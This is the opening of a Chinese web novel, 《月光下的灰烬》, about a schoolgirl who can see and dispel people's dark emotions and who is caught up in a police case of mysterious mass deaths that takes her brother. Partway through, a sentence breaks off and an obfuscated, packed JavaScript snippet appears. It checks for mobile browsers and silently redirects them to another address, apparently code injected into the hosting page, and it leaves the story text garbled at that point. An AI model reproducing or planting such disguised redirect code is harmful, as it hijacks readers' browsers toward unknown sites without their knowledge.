《月光下的灰烬》 1. 黑暗 “香月同学,香月同学。” 香月晴子的眼睛慢慢睁开,然后猛地站起来。 老师的眼中包含着恨铁不成钢的情感,声音即便丝毫没有什么起伏,只是比平时大声一点就令人感觉到其中的威严。 “算了,你坐下吧。” 原本想要让她读一段课文来打起精神,但是不知道为什么,老师已经开始对她上课睡觉感到习惯。这个孩子令人捉摸不透到底什么时候精神,什么时候不精神,不过周一的时候一般都是状态很好的,但是基本上每天的最后一节课都会睡着。 香月晴子摸摸头,有些不好意思地笑笑,然后重新坐了下来。 身后的小原风夏拍拍她,“哎呀呀,今天又睡着了啊。” “昨晚一不小心看动漫看到很晚,一不小心就成这样了。” “诶,什么动漫?” “就是最近很火的那个恋爱番……” 小原风夏其实看到晴子睡着了,但是完全没有叫她的打算,不知道为什么,她总觉得晴子一旦睡下来就让人不忍心叫醒,而且晴子的志愿似乎也并不是升学,而是想要直接开店什么的。还有就是,仅仅是这样看着她的脸,即便自己并不是个百合,也会觉得可爱地想要让人抱抱她。 在完全听不进去课的状态下,下课铃响起,这已经是今天的最后一节课了。 风夏一边收拾着自己的东西一边拿出手机翻看着一些评论道:“晴子,我发现一家新开的店,现在在SNS上面超级好评,尤其是JK去得很多,说蛋糕超级好吃,要去看看吗?” “好啊,一起去吧。” 两人正要往外走,老师从背后叫住了她们。 “老师,有什么事吗?” 老师将一大罐东西交给了晴子,“这个是我朋友推荐的,每天可以冲一些喝,听说味道还不错,虽然尝起来是牛奶的味道,但是并不是单纯的奶粉。” 风夏坏笑着说:“老师,我知道我们家晴子确实很迷人就是了,但是我才是和她在一起的人呢。” “别贫了。”老师笑着轻轻用手中的书敲了一下风夏的脑袋,然后接着对晴子说,“别太勉强自己了,我不知道你在做些什么,但是身体是第一位的。” 晴子接过塑料袋,心里泛起一股暖意,这或许是除了风夏之外最关心自己的人了。 “我会记得好好补充营养的,谢谢老师。” 看着晴子的笑容,老师的心情也感到非常治愈,这个孩子的笑容就是莫名其妙地令人感到非常舒心,看见这个笑脸,总是令人无法生气。 尽管出于老师的本能,每次在上课的时候都忍不住提醒她打起精神,但是听说这个孩子是一个人住,也完全没有听到她提起过父母,想必应该也过着不容易的生活吧。 目送两人走远,老师的心情有些沉重。跟在晴子身边小原风夏心中也明白,她曾经去过晴子家,她的家里真的完全感受不到任何活力,她早就决心要尽可能地陪在晴子身边,看着晴子手中的来自老师的礼物,她也对老师多了一分感激。 地铁上,一个男人面如死灰。他回想着自己所经历的一切,一股强烈的火气不断冲击着他的脑海。 他的脸上现在还有着一股痛感,明明没有受伤,但是今天被甩在脸上的文件留下了无法磨灭的印记,脑海里被扣去的工资也挥之不去。 “以往只是挑刺、嘲讽、给与完全做不完的工作……‘只是’?” 男人的脸色又变了,开始变得扭曲,可是在地铁上,他还要尽力控制着,否则会被人抱怨。 明明是没有人出声的车厢,但耳边却回响着那一句“就你这样的水平是怎么干到现在的?啊,对了,你必须要干,毕竟你有妻子和孩子需要吃饭呢,真可怜啊,明明是公司的蛀虫呢。” 他的双拳不禁用力握住,牙齿也紧紧咬着。他的身边坐着两个JK,明明这两个人完全没有惹自己,可是余光瞥见她们的笑脸就觉得直犯恶心。 “凭什么我要过这样的生活!”他在心中愤怒地呐喊之后,突然涌上了一个念头,“要不然,明天就把她……”他的脑海里瞬间闪过数把刀的样子。 地铁到了某一站,晴子站起身,风夏连忙也站起来,“怎么了晴子?” “我有想做的事,我就在这一站下了。” “我陪你去!” 晴子摇了摇头,“没事没事,只是有点私事。”说完,她又微笑道,“等我办完事明天再和你说。” “啊。”风夏下意识地伸出手,但是面前的晴子已经头也不回地冲下车了。她重新坐下,摇了摇头,拍了拍自己的脸,然后就继续翻看手机上的八卦了。 天已经黑下来了,男人眼神木讷地走在回家的路上,周围的声音渐渐听不清楚。 走到离家比较近的地方,他的眼神已经渐渐坚定,嘴角扬起了变态的笑容,表情相当不自然。 就在此时,男人的背后突然被人撞了一下,他一个踉跄,差一点就没站稳,倒是撞他的人倒在了地上。 “对不起对不起。”晴子赶紧站起来拍了拍裙子,“请问您有受伤吗?真的很抱歉。” 男人本来想要发火,可是不知道为什么突然没有了发火的打算。 “没事没事,倒是你没事吧?” “我没事,那我就先走了,真的很抱歉。” 看着自顾自跑走的JK,男人有些恍惚地向家里走去。一开门,妻子立马说了一句“辛苦了,欢迎回来。”,孩子也扑了上来,是个刚过膝的小家伙,男人笑着抱起了他,“爸爸回来啦,今天有做个乖孩子吗?”不知道为什么他心情非常愉快。 附近的某个墙边,晴子的手上一股黑气慢慢消散着,她的脑海里出现了相当多自己被某个人侮辱的场景,她用胳膊环抱着自己,靠在墙上很久才缓了过来。 轻轻甩了甩手,她回过头,眼神完全没有平时的柔和感,取而代之的是单纯的冰冷。她看着不远处的公寓,将最后一点黑气彻底甩掉。 “真是,令人感到恶心的世界。” 她又看了看手中的塑料袋,表情重新变得柔和。 “回家吧。” 过了一段时间,晴子迈着有些沉重的步伐缓缓走上了自己公寓的楼梯。这只是个便宜的小公寓,比那个上班族住的地方可能还要差一些。 站在自己的房门前,她轻而长地叹了一口气,脑海里之前的场面仍然有些挥之不去。打开房门,尽管里面空无一人,但她打开灯后还是说了一句“我回来了”。 虽然之前和风夏一起去吃了蛋糕,但是那毕竟只是一个小甜品,那些能量已经在聊天和回家的过程中消失了。摸摸自己渴求着晚饭的肚子,她将包随手一扔,然后打开了冰箱,发现里面并没有菜。 “啊,忘记了,今天是要买菜的啊。” 摇了摇头,又叹了一口气,她随意地倒在了沙发上,然后闭上了眼睛。 这时,敲门声传了过来,尽管她非常不想在刚躺下的情况下立即站起来开门,但她还是挣扎着从沙发上爬起来,满不情愿地趴在猫眼上向外看去,随后一脸疑惑地打开了房门。 “当当!看看这是什么!” 风夏站在门口,手里还举着一袋食材,里面有肉有菜。 “为什么?” “为什么我在这?”风夏笑嘻嘻地揉了揉晴子的头发,“当然是来和你一起吃饭的呀。” “你不是应该已经回去了吗?” 晴子想要接过风夏手里的食材,但是风夏并没有递给她,而是直接换好鞋子,将包放在沙发上之后走向了厨房。 她一边将肉和菜拿出来,一边说:“当然是担心你啊。”随后她一把打开了冰箱,“看吧!果然什么都没有!上次来你就是这样,不是答应我要好好吃饭的吗?” 晴子慌忙解释道:“不是的,今天只是忘记了,我真的只是忘记了而已。” “明明有时间办私事却没时间买菜?” 晴子一时语塞,风夏看着她的样子,心中又泛起了一些涟漪,连忙道:“我没有要为难你的意思,我和我妈打过招呼了,今天专门来和你一起吃饭的。看,这个肉很新鲜的!做饭就交给我了,你去休息吧。” 晴子很自然地接受了她的好意,不过还是先在柜子里翻出了配好的果茶包,将其泡入茶壶之后才重新倒在了沙发上。 风夏的妈妈做饭很好吃,她自然而然地跟着学了不少。明明是冷清的房子,很快就被厨具的响声和晚餐的香气燃起了活力。 风夏很享受做饭的过程,每一道菜从她的手中诞生都可以带给她相当的满足感。将晚餐摆放到餐桌上后,她还是先用手机好好拍了几张照片并发在了网上作为生活的分享,然后才叫晴子吃饭。可就在她扭头说出“吃饭了”的时候,她发现晴子已经在沙发上睡着了。 “真奇怪啊,明明在课上已经睡过了。而且在地铁上也是,突然就下车了,完全没有和我好好地道别呢。” 两人之前是完全不认识的,是上高中的第一天,风夏因为某个契机才搭上的话,后来她发现晴子并不是排斥交朋友的人,相处起来也很舒服。仅仅过去了一个月,两人就已经是无话不谈的好闺蜜了。 不过晴子身上一直有一个毛病,风夏记得很清楚,晴子就是从开学第二天起开始嗜睡的。她本来也提醒过,可是发现完全没有任何作用,看起来晴子真的很困,她实在是想不明白这到底是为什么,而这样的生活已经持续了两个月了。 为了避免饭菜冷掉,风夏还是将晴子叫了起来,两人一起享受了晚餐。 警视厅之中,有一个电话打了进来。一名警察接到一个联络。没过多久,两辆警车就停在了一个养护所门前。 就在前不久,这一家养护所里有八人相继死亡。尽管打了急救电话,当医院派人来到这里的时候发现所有人都已经没有急救的必要了。而这样突发性的状况,谁也不会认为这是正常现象,于是选择了联系警方与死者家属,尸体则是暂时由医院保管。 现场已经没有人敢待在那里,而当警察赶到现场的时候,到场的四名警察都在一段时间后离奇死亡。这引起了警视厅高度重视,于是先派出了八人持枪到达了养护所,每个人都配备了防弹衣和头盔。四人负责在外警戒,四人负责进入其中。 黑木真士走进了案发现场,警察的尸体还保留在原地。他仔细地查看了尸体的状态,至少在不触碰尸体的情况下,仅仅以倒下的原本状态观察,四名遇害警察的身上并没有外伤的痕迹。 在对现场进行了足够的记录之后,黑木真士将一具尸体翻转过来,发现确实看不到任何伤势,别说血迹了,任何液体都没有出现在尸体附近。他又仔细地观察了一下之后,旁边的警察向他搭话。 “黑木先生,你怎么看?” 黑木摇了摇头,“很奇怪,我完全没有看出他们受伤,也没有任何打斗痕迹,这些警察按道理说也是才来到这里,除非是被某种气体毒杀,可是这里不存在这样的条件不说,中毒的人至少不会这样安然倒在现场,我在他们身上也看不到挣扎与逃离这片区域的痕迹。” 那名警察也点了点头,“和我想得一样,这简直就像是集体突然死了一样。” “总之不解剖的话,恐怕真的没有办法看出什么。原本以为是某种恐怖袭击,现在看来似乎并不是那么回事啊。” 两人对视一眼,似乎都有话想说,却又都没说。黑木继续尝试分析,剩下人有的去检查其他地方,有的联络上级进行汇报。 突然,正在汇报的警察就那么直接倒了下去,黑木听见响声立刻转头,发现那里什么都没有。他冲过去检查那名警察的状态,发现对方已经完全失去呼吸。 黑木没有选择冒进,而是立即用自己可以做到的最快速度离开了案发现场,并联系两名同事让他们也从这里全速离开。 退出养护所的一名警察询问道:“发生什么了?你说前田就那样突然倒下了吗?” “是的,我什么都没有感觉到,也什么都没有听到,可是前田就那样在我的背后以打电话的姿态倒下了。” “这下真是麻烦了……” 几人重新看向养护所,在夜幕之下,这里仿佛染上了莫名阴森的气场。不多时,大量警力集中在此处,开始做下一步的打算,同时立即通知养护所内的人,哪怕行动不便也要尽快全员撤离。 送走了风夏,晴子感觉自己好多了,她换了衣服,简单收拾了一下屋子之后打开电视,看看时间,自己喜欢的综艺就要开演了。 她换换台,发现有新闻正在播报。 “现在似乎不是播报新闻的时间吧?” 正感到奇怪,又是风夏打电话过来。 “怎么了?是有东西忘带了吗?” “不是啊!你好像完全没有了解啊!”风夏焦急的声音传来,“刚才我朋友发消息跟我说,网上已经完全炸锅了,你哥哥所在的那个养护所出事了!” 呆呆地听完了风夏的电话之后,晴子过了几秒才回过神来。她焦急地翻动着手机,颤抖着手拨动了自己哥哥的电话。 “喂?哥哥!你还好吗!” “是晴子啊,不用担心,我很好,虽然不知道被带到了哪里,但是我的陪护和我说现在我身处医院。我本来想细问的,但是感觉她们似乎有些顾不上我,我也不知道发生了什么。” 晴子松了一口气,低下头去,如果再失去哥哥,她真的不知道要怎么办才好。 “怎么了晴子?怎么突然不说话了?” 晴子呼出一口气道:“没事没事,你试着打听一下你到底在哪里,然后我马上过去。” “没事的,现在应该很晚了吧?你还是休息吧。” “我说了我马上过去!”晴子几乎是喊着说出了这句话,随后调整了一下状态接着说,“抱歉,我有些激动,我已经打算去找你了,可以帮我询问一下吗?” 在得到了准确的信息之后,晴子立即赶去了中央医院。 终于来到了哥哥身边,哥哥看着地面笑道:“是晴子来了吧,我不会听错的。” “嗯。”晴子俯身一把抱住了哥哥的肩膀,“还好你没事。” 哥哥慢慢站起来,摸索着扶住了晴子的后背,“到底发生什么了?” “我来的时候了解了一下情况,哥哥所在的养护所已经死去了八个人,外加五名警察,具体的状况我也不了解,但是你没事真的太好了,如果你也不在了,我真的……” 哥哥轻轻安抚着晴子,“好了好了,别紧张了,我这不是没事嘛。”他心里很不是滋味。 两个月前,两人的父母在离婚的途中遭遇车祸死去,晴子十分消沉,长时间缓不过来。可是自己却只是个盲人,他甚至不知道要擦哪里才能擦掉晴子的泪水,他真的感觉自己很没用。 而这一次,换自己让晴子担心害怕,他摸着晴子有些冰凉的手臂,心里一阵阵地痛苦。明明是该保护妹妹的时候,此刻却只能在黑暗之中听着妹妹轻微的吸鼻声。 原本他是住在家里的,但是在双亲去世之后,为了不给妹妹添麻烦,他坚持提议要住在养护所里,让妹妹能够把时间都用来安排自己的事情,没想到却出了这样的事。 两人稍微聊了一会天,由于已经是九点半了,晴子不好再待太久。今天的作业完全没有开始动笔,哥哥也需要自己的空间来放松和休息,晴子便先告别了。 现在医院中并没有什么人,除了住院部可能人稍微多一些,其他地方就只剩急诊还在值班了。晴子的脚步在走廊中回荡,那些陪护人员的声音也在逐渐变小消失,她的思绪也慢慢地回到了自己的事情上。 正当她转过一个弯,她发现一个人倒在了走廊中。她走过去拍拍对方的后肩,却没有任何反应。她第一时间想到了叫人,自己还没有走多远,毕竟是在医院里,怎么都方便。 而就在她站起身的这一刻,她的瞳孔猛地一缩。在她的面前不远处,有一个蒙着眼的怪人仰头站在墙角。她下意识地后退了一步,那个怪人马上将头偏向了她所在的方向。 她冷汗直冒,不敢再动一下,心跳得厉害。 “这到底是什么东西!我撞鬼了?怎么办怎么办怎么办!” 她的脑海中一瞬间出现了无数想法,但是几乎都是恐惧促使的思维闪现,完全没有任何跳出僵局的方法。 她不进行任何动作,对方就也没有任何动作,只是身上冒着些黑气,给人的感觉相当不好。 “它看起来,好像那个东西啊……” 晴子自从两个月前,拥有了能够看出他人身上负面情绪的能力,最初完全不知道是怎么回事,后来触碰了一个被人欺负的女生的时候,她十分自然地掌握了可以消除他人身上黑气的能力,其自然到和呼吸一般,以至于她自己都不知道自己是如何学会的。 这么僵持下去也不是办法,于是她尝试着轻轻挪动了步子。她屏住呼吸,慢慢将脚放回地面,这一次,对方并没有做出反应。 见状,她慢慢后退,保持神经一直绷紧,即便是汗滴下来了也不敢擦。可是造化弄人,她的手机突然震动了两下。那个怪人的眼睛虽然被蒙住了,但还是瞬间转向了她的手机,随后向她冲了过来。 怪人挥出一拳,她连忙用胳膊去抵挡,但还是被一拳打飞,重重地摔在墙上。这一撞让她行动能力下降的同时,也让怪人再一次定位到了她,下一拳紧跟着就来了。 她翻滚躲闪,怪人的拳落在了地上。即便是有些疼痛,她还是挣扎着站了起来,毕竟如果在这里倒下,自己肯定会死得很惨。仗着自己会消除黑气,她将手伸向怪人并尝试触碰它的身体,可以令她没想到的是,她的手直接穿过了怪人的身体,完全碰不到对方。 这一瞬的判断错误,令怪人找到了一个巨大的破绽,一拳向着她的腹部打了过去,力道之大让她的身体飞起砸在了墙上。 她痛苦地蜷在地上,视线渐渐模糊,她想要喊出来,可是却发不出声音。怪人不会给她恢复的时间,快速跑到了她的身边。就在这一拳要再次挥下的时候,怪人的身体突然停了下来,然后保持着出拳到一半的动作,变成了一股烟完全消散了。 虽然不知道发生了什么,但是晴子已经没有办法再撑下去,很快便晕了过去。 漆黑的空间中,晴子完全看不见任何东西,也摸不到除了自己之外的任何物品,只能听见自己的脚步声回荡。 她用力搓一搓脸,并试着反复睁眼闭眼,可是眼前黑暗并没有任何变化,只带给人单纯的无助与孤独。她的心情越来越烦躁,她想要快点移动到别的地方,可是又不敢奔跑。她的呼吸越来越重,双臂挥动地越来越用力,然而一切都是无济于事。 医院里,阳光透过窗帘照射在床头柜上的花束上,让鲜艳的色彩更加明亮。晴子猛地睁开眼睛,发现自己的双手被自己举向空中。 松了口气,从床上坐起来,她看见一瓶没有打开的矿泉水和一个面包就放在床头柜上,旁边是风夏给她的留言,“如果醒来饿了,就先吃一点垫垫吧”。她这才觉得肚子确实空得有点不舒服,便顺手拿起来吃下了。 “我是从昨晚昏迷到现在了吗?真是一个糟糕的夜晚。” 脑中回想着昨晚的场景,她仍然感到十分后怕。那种切实的疼痛已经被她深深地刻在了记忆里。 “恐怕现在我的身体已经满是淤青了。” 她掀开衣服看了看自己的腹部,却发现那里白皙而光滑,完全没有任何受到攻击的痕迹。她感到十分诧异,把身上受到攻击的地方检查了个遍,完全没有发现任何受伤的痕迹。 就在她观察自己的时候,一个男人走到了门口,见她正掀起衣服,于是赶紧退到一旁。晴子也看见了那个男人,赶紧把衣服弄好,然后用毫无底气的声音别别扭扭地小声喊道:“抱歉,请进。” 男人走进来,“真的很抱歉,我没想到会碰上你在弄衣服。” 晴子脸红着说:“没事没事,是我没有注意,不是你的错,快请坐吧。” 男人个子挺高,穿了一件很有型的外套,看起来是很认真的面相,要说帅不帅气,晴子认为还是挺帅的,起码很有气质,就是那种出了事就会让人想要去依靠的类型。他坐在旁边的座位上,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266081|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从外套里面靠近胸口的口袋中掏出了一个证件。 “这是我的证件,我叫黑木真士,是隶属于警视厅的一名警察,因为你是案件之中重要的幸存者,所以特地来见你,只不过没想到你昏迷了这么久。” 当时,一位看护人员要下班回家的时候经过了怪人出现的地方,看见自己的同事和一个女孩倒在了地上。她首先走到自己的同事身边,带着紧张的心情希望唤醒对方,可对方毫无反应。当她发现同事已经死去的时候,她发出了一声尖叫便晕在了当场。 尖叫引起了好几个人的注意,当几个人赶到那里的时候,他们已经恐惧到无法做出思考了,只能立即报警,将所有的事情都拜托给警察,然后带着所有人立即再次转移。 警察到达现场后,本以为又多了三名被害人,结果发现其中两人都是昏迷状态,于是赶紧安排医院进行救治。晕倒的看护人员很快醒来,而晴子则是整整昏迷了三天。 查看晴子状态的黑木发现晴子身上有多处淤青,于是认为她是本案重要的人物,所以一直关注着她的状态,隔一段时间就会来看她一次。看到桌上的留言,然后顺便和医院方进行了交流,确认了她的名字叫做香月晴子。 “原来如此。”这时候晴子才明白了事情是怎么回事,“真的非常感谢您的帮助。” 听到晴子的感谢,黑木道:“没什么,都是我们该做的,不过正如我之前所说,你应该是本案重要的人物才对,请问你有和谁打斗过吗?” 晴子摸摸头,不知道应该怎样回答这个问题。而这时黑木看着因为宽松而稍微滑下的袖口处眉头一皱,“虽然很突然,但是可以将袖子撸起来一下吗?” “当然。”晴子虽然不知道为什么但是还是照做了。 “这怎么可能,你的淤青居然消失了。” “消失了?” 黑木用难以置信的眼光死死盯着晴子小臂的某个位置,“之前一直盖着被子所以没有发现,你小臂上的淤青居然消失地如此彻底!真是令人难以相信自己的眼睛,可是事实就摆在面前。” 晴子将袖子拉回来并偏过头,刚这样下意识地做完这个动作,她就立即感到了后悔,这无疑是告诉了对方自己有问题。然而她一时语塞,不知道应该如何解释,毕竟自己真的有些特殊,而且她自己也不清楚这到底是怎么回事。 黑木看见她的样子,立即断定她的身上一定有秘密,但是这时候就将她判断为凶手或是受害者都为时过早,况且这个案件令人完全摸不着头脑,对于这个重要的当事人,应该注意不要刺激到她的情绪。 两人各自的思考导致了现场出现了微妙的沉默,竟一时间令人不知道该如何开口。不过另一个警察的到来,令这个局面产生了变化。 “果然在这啊,黑木。”来人正是之前与黑木一同到达了现场的警察——山田尚也,他的面色看起来不太好,恐怕这几天完全没有机会好好睡觉。 黑木从他手中接过了一张表格,上面是所有死者的信息以及尸检结果,除了一个人之外,剩下的人都是原因不明的猝死。 “真惨啊,这个案子居然死去了18个人,我们目前却毫无办法。” 黑木在说着这些话的时候,余光留意着晴子的状态。看见晴子的脸上冒出的并不是慌乱或者害怕,而是一瞬间的不解,他便更加确认了晴子一定是知道些什么。 山田打了个哈欠说:“现在这个自杀的倒成了唯一可以入手的点了。”山田说完,意识到自己的失言,连忙对晴子道歉道,“对不起,我不该说这些可怕的事情,你应该才醒过来不久吧,如果令你感到了不适,我深表歉意。” 晴子连忙摆摆手,“不不,您言重了,我没事的,真没想到居然有那么多人遇害,而且居然还有自杀的人呢。” 看着这张表格的黑木此时突然反应过来了一个重要的事情,经知情的看护人员叙述,这个女孩是来医院看她哥哥的。如果是这么说的话……黑木很不愿意接受这件事,但是那表格上面,自杀者的名字正是“香月正志”。 当黑木告知了晴子之后,她愣了一秒,然后飞快地将某个号码拨了出去。可是过了段时间,她只能缓缓放下电话,电话的那一头,是完全无人接听的状态。 “原来是这样啊,原来哥哥已经不在了啊……可是他是怎么自杀的?” 此时,山田的电话响了起来,他和黑木点头示意之后就先离开了。 黑木看着表格说:“这里显示的结果是自己使用水果刀猛刺颈部死亡。”即便是当了很久警察的黑木,在看到这一行描述的时候也觉得相当不适,他不知道这些人到底是哪里的勇气对自己做出了这样的事情,至少应该会很痛才对吧。 晴子蜷起腿,用手臂将腿抱住,然后把头埋了下去。她的脑海里不断闪回着那天晚上的事,她感到非常不解,那时哥哥的身上明明没有任何负面情绪,为什么会选择自杀呢? 当她回想到怪人的时候,她的状态才突然恢复。刚醒来的她大脑简直是一片混沌,而此刻终于恢复了少许活力。 她猛地直起身子,“黑木警官!” “我在听。” “我看见怪物了,我就是被怪物打的。” “嗯?”黑木没料到晴子口中会蹦出这样的话来,从各种意义上都觉得有些突然,“怪物是什么意思?” “就是那种人形的,但是很丑,在晚上很吓人,戴着眼罩,看起来不算很强壮的样子但是力量很大,浑身……”晴子突然停了下来,“不会吧……” “浑身什么?” 晴子干笑着摆摆手:“没事没事。”她的脑海中骤然浮现出了一种猜想,“请问我哥哥自杀的时间是什么时候呢?” “大约是九点四十。” 黑木记下了晴子的描述,但是心里直犯嘀咕,虽然这个案子确实令人摸不着头脑,但也不至于这么魔幻才对啊。不过身为警察,他有责任认真对待对方的每一句话,哪怕对方只是在随口胡编,也不能放弃在其中寻找突破口的机会。 与此同时,晴子已经逐渐做出了猜想,只是需要一些证据来证明自己的猜想,不过如果可以的话,她真的希望永远不要有这样的证据。 这次的案件引起了广泛关注,黑木作为到达过现场的警察之一,自然也是个大忙人。还没等他更深层次地问一些东西,他的手机就已经响了起来。 “香月小姐,能否留下你的联系方式呢?后续说不定还需要向你了解情况。” 晴子欣然同意,其实她蛮希望有警察可以保护自己的安全。 在黑木走后,晴子也去办理了手续,从医院出来了。外面是一个大晴天,阳光洒落在大地上,配上还略带凉意的春风,令人感到十分舒适,心情大好。 可是晴子并没有办法高兴起来,她环顾四周,在街上行走的人身上,带有负面情绪的人占了绝大部分,只有很少的人身上没有散发出黑气而是发出金色的光芒。 看到街上并没有人踏入危险的境地,她就并没有插手去管任何黑气。打开手机,向风夏发了一条消息报个平安,她便向着家的方向前进了。 走在路上的时候,不知道是昏迷的时候借机好好睡了一觉还是怎么的,她总觉得自己状态非常好。不仅觉得浑身都是劲,还觉得身体比原来轻盈了许多,以至于她忍不住在街上跳了几下,引起了几个人的侧目。 一个巷子里,三个穿着校服的混混围住了一个女生。 “哦呦呦,小姐姐,一个人啊?”为首的混混一步步逼近女生,将其逼到了墙边,“现在不去学校,不会是才从男朋友家里睡到现在吧?” 三人对视一眼,都发出了嚣张的笑声。 女生死死抓着自己单肩包的带子,尽可能缩起身子,“你们不也没去学校。” “我们?哈哈哈哈,喂喂,我们和你们这群书呆子可以不一样啊。”他一把将手按在女生的头旁边,又把脸凑过来,两个人的额头几乎已经要贴在一起,“看你也是我们学校的,出去打听打听现在的大哥是谁。” 如果是平常,晴子大概会躲开这样的事情,但是现在这一幕正发生在自己眼前,也不知道为什么就这么巧,这四个人就堵在自己前进的道路上。还有就是,她莫名地感到火气上头,这是她第一次有如此高涨的想要做些什么的欲望。 他们自然都发现了晴子的存在,由旁边的一个混混看住那个女生,老大带着另一个站在了晴子的面前。 “哇哦,双丰收,现在的JK真是不听话呢,居然都翘课啊。”他一边说着,一边看向晴子苗条但不失发育的全身,尽管晴子并没有穿校服,但是从粗略年龄和身材上还是看得出来这是最好欺负的类型。 不知道为什么,晴子真的没有任何躲的欲望,她只是看着对方的眼睛,没有一丝的恐惧,只有一种纯粹的,不知名的瘆人感。 “你这是什么眼神。”老大有些不爽地皱起眉头,但还不等他发作,晴子就一拳挥了出来。 老大至今为止不知道打过多少场架,而此刻他的脑海中只有两个字“好快”,然后他的头就不自然地被迫偏到了一侧。 “大哥,你没事吧!”小弟连忙去扶倒地的大哥,而后者已经感到视线模糊,完全没有站起来的能力了。 完全没有理会那两名小弟和那个女生,晴子走到那个老大的身边,向下冲着他的腹部就是一拳。本来小弟应该上去阻拦,可是此刻也完全提不起勇气。 晴子打完之后,感觉心里郁气蓬勃,便要对着他的脖子来一手刀。 “你们干什么呢!”片警的声音传来,晴子精神猛然一震,将手缓缓放下。包含她在内,在场能跑的全都一溜烟跑了。 终于回到家的晴子把自己摔到沙发上,她蜷起身子躺了几秒,随后突然坐了起来,用手猛锤沙发,最后发出一声怒吼。再后来,是两行清泪和无法抑制的抽泣。 她发出一声尖叫,完全不顾什么邻里关系,只是坐在那里哭喊着,她唯一清楚的事就是自己现在真的没有亲人了。渐渐地,她失去了力气,但是就在她静下心闭上眼睛之前,她的心里有一团火焰已经完全燃了起来。 2. 期望 早晨,一个男孩从睡梦中惊醒,并不是因为闹铃,而是母亲的叫喊。 “谦太!都几点了还在睡!上不上学了!”母亲推门冲进谦太的房间,一把掀了他的被子。 谦太坐起身,默默地开始穿衣服。 但是母亲并没有罢休的意思,“你看看你这个房间,乱成什么样子,上次去弘树家,人家的房间可是干干净净,成绩也十分优异,根本不用他妈妈操心,你什么时候能跟人家学学?” 母亲气冲冲地走后,谦太望着自己其实并没有多乱的房间,心里完全不是滋味。实际上要说哪里乱,只是昨晚写完作业并没有收拾桌子,并且有一张自己试着画的画掉在了地上。 他刚收拾好东西,还没等走出房门,母亲的抱怨就又传了过来。他一如既往地机械般地吃完了早餐,并且看了一眼父亲的遗照。 客厅中,晴子也吃完了早餐,这是她给自己做的照例的三明治,既方便也可以当做便当带着中午在学校吃。尽管已经被风夏吐槽过很多次,但是她实在是懒得去做更复杂的饭,尽管她做得出来。 睡了一觉之后,她感觉自己的各方面都好多了,无论是生理上还是心理上都得到了相当的休息。 向地铁站走去的路上,她习惯性地观察着路上的每一个人。一般这个时候,大家身上的负面情绪都会偏重,可能这就是早起所带来的一天中“美好”的开始。 “是那个孩子啊……”虽说如此,她还是看到了不好的东西。 在某一辆经过这里的校车上,一个男孩身上的负面情绪十分高涨。说实话,她对这个男孩有印象,尽管是陌生人,但是他总喜欢在这个时间坐在校车的那个位置。更重要的是,他身上一如既往的黑气是不会看错的。 尽管晴子很想帮他,但是在校车上可不是靠人的腿可以追到的,她也没有功夫去为了每一个陌生人四处奔波。只要大体判断为不致命的情况,晴子一般都会依照心情和时间来决定要不要帮一把。 警视厅中,黑木真士正在整理之前那起案件的相关文件,距离上次与晴子分别已经又过去了一段时间,但是警察对于这起案件仍然没有取得任何进展。 黑木的脑海里一直徘徊着晴子说过的话,但是他也没有在任何人和任何地点得到关于怪物的目击情报。 当事件处在这种状态的情况下,警察内部已经开始弥漫着一股强烈的担忧的气息。犯人下手时完全不在乎对方是否是警察,本身又是神出鬼没还不留下任何线索和证据。现在已经出现了,其他死者有可能就是为了引出警察去进行杀害的言论,警察们渐渐开始担忧起下一个是否会轮到自己。 黑木思来想去,决定还是要找晴子聊一聊,希望自己的真诚和温和的态度可以让晴子提供更加详细的线索。想到这里,他决定到下午放学的时候再联系一下晴子。话虽如此,他也仍然在担心,这个女孩是否会被自己再次揭开伤疤,并且感到恐惧呢? 学校里,下课铃声响起,谦太从书包里掏出了昨晚画的那一幅画,将它展示给弘树看。画中是一个怪物,尖锐的利爪看起来相当帅气。 弘树接过画眼睛都要发出光来,他吃惊地说:“哇!这也太帅了!如果可以将这个做成模型的话,一定会很受欢迎的吧,你好厉害啊!” 谦太不好意思地笑了笑,这也是他根据自己的想象去画的。他曾经经常看各种漫画,尤其喜欢战斗类的作品,每次有想法都忍不住自己动笔画一画。但是自从父亲去世之后,他很少再去看了,母亲经常会在他享受自己的时间的时候没完没了地埋怨,每一次都令他感到兴致全无。不过这样画画的时候,可以令他感受到快乐和满足。 弘树是他的好朋友,他学习优异,为人谦逊有礼,但正因如此,他几乎连游戏和漫画都没有接触过,当谦太拿出了自己的画,弘树感到打心眼里喜欢和佩服。 “谦太,你未来想做什么啊?” “我吗?”谦太还真没有好好想过这个问题,“我还不清楚,我对我的未来一片迷茫。” 弘树兴奋地说:“如果没有想好的话,要不要试试成为漫画家呢?虽然我没有看过什么漫画,但是我想你一定很适合成为这样的人吧。” 听到好朋友这么捧场,谦太感到有些不好意思,不过这也让他第一次产生思考,或许自己真的可以向那方向努力也说不定。 “弘树的话,应该会不断升学然后成为很厉害的人吧。” “哈哈,虽然说确实会尽可能不断升学,但是厉不厉害还真不知道呢。”弘树看向窗外,“其实我只是经常会想,我们什么时候才可以在宇宙中飞向更远的地方呢?” “诶?感觉有些突然呢,居然是这么深奥的问题吗?” 弘树笑着摇摇头,“是很单纯的哦。每当我看见天空中的飞鸟,就觉得真是好自由啊之类的。我也坐过飞机,虽然也很令人激动,但莫名有一种无法感到满足的感觉。所以我很希望自己未来可以成为飞往宇宙的人,或者是送别人飞往宇宙的人,那里一定就是更辽阔、更自由的地方吧。” “自由啊……真好啊,我现在连自己城市有什么大学都说不上来呢,总觉得弘树知道很多很多的东西,真是羡慕你啊。” “这有什么的。”弘树将画还给了谦太,“我们还小呢,现在知道那么多又有什么用呢?我还羡慕你呢,你可以画出我完全没法画出来的画,我真的非常喜欢你所想象出的这些帅气的形象,尽管看起来它们应该不是正面的角色就是了。” 两人有说有笑,谦太感觉很满足,他很喜欢这种被人认可的感觉,也很喜欢弘树这个好朋友,每次和他在一起,都会让自己忘记烦恼。 